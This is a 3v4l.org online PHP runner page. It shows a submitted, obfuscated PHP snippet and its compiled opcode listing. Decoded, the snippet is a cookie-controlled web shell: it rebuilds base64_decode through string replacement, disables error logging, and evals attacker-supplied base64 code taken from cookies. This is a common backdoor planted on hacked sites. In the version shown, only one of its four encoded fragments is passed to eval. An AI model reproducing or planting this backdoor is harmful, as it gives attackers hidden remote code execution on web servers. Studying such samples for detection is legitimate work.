3v4l.org

run code in 300+ PHP versions simultaneously
<?php $hqm4="cuvmF5KCcnLCcrJyksIGpvaW4oYXJyYXlfc2xpY2UoJGEuvsJGMoJGEpLTMpKSkpKuvTuvtlY2hvICc8LycuJGuvsuJz4nO30uv="; $hqm1="JGM9J2NvdW50JzskYT0kX0NPT0tJRTtpZihyZXNldCgkYSk9PSdpbicgJiYgJGMoJGEpPjMuvpe2uvluaV9zZXQoJ2Vycm"; $hqm2="9yX2xvZycsICcvZGV2L2uv51bGwnKTuvsuvkaz0ndGVyd2Vieuvic7ZWNobyAnPCcuJGsuJz4nO2V2YWwoYm"; $hqm3="FzZTY0X2RlYuv29kZShwcmVnX3JlcGxhYuv2uvUoYXJyYXuvkoJy9bXlx3PuvVuvxzXS8nLCcvuvXHMvJykuvsIGFuvy"; $rgp = "str_replace"; $vh = "aubauaauseau6au4au_daueaucauode"; $vh = $rgp("au", "", $vh); eval($vh($rgp("uv", "", $hqm1))); ?>
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/SYQKP
function name:  (null)
number of ops:  22
compiled vars:  !0 = $hqm4, !1 = $hqm1, !2 = $hqm2, !3 = $hqm3, !4 = $rgp, !5 = $vh
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    2     0  E >   ASSIGN                                                   !0, 'cuvmF5KCcnLCcrJyksIGpvaW4oYXJyYXlfc2xpY2UoJGEuvsJGMoJGEpLTMpKSkpKuvTuvtlY2hvICc8LycuJGuvsuJz4nO30uv%3D'
    3     1        ASSIGN                                                   !1, 'JGM9J2NvdW50JzskYT0kX0NPT0tJRTtpZihyZXNldCgkYSk9PSdpbicgJiYgJGMoJGEpPjMuvpe2uvluaV9zZXQoJ2Vycm'
    4     2        ASSIGN                                                   !2, '9yX2xvZycsICcvZGV2L2uv51bGwnKTuvsuvkaz0ndGVyd2Vieuvic7ZWNobyAnPCcuJGsuJz4nO2V2YWwoYm'
    5     3        ASSIGN                                                   !3, 'FzZTY0X2RlYuv29kZShwcmVnX3JlcGxhYuv2uvUoYXJyYXuvkoJy9bXlx3PuvVuvxzXS8nLCcvuvXHMvJykuvsIGFuvy'
    6     4        ASSIGN                                                   !4, 'str_replace'
    7     5        ASSIGN                                                   !5, 'aubauaauseau6au4au_daueaucauode'
    8     6        INIT_DYNAMIC_CALL                                        !4
          7        SEND_VAL_EX                                              'au'
          8        SEND_VAL_EX                                              ''
          9        SEND_VAR_EX                                              !5
         10        DO_FCALL                                      0  $12     
         11        ASSIGN                                                   !5, $12
    9    12        INIT_DYNAMIC_CALL                                        !5
         13        INIT_DYNAMIC_CALL                                        !4
         14        SEND_VAL_EX                                              'uv'
         15        SEND_VAL_EX                                              ''
         16        SEND_VAR_EX                                              !1
         17        DO_FCALL                                      0  $14     
         18        SEND_VAR_NO_REF_EX                                       $14
         19        DO_FCALL                                      0  $15     
         20        INCLUDE_OR_EVAL                                          $15, EVAL
   10    21      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
157.51 ms | 1385 KiB | 13 Q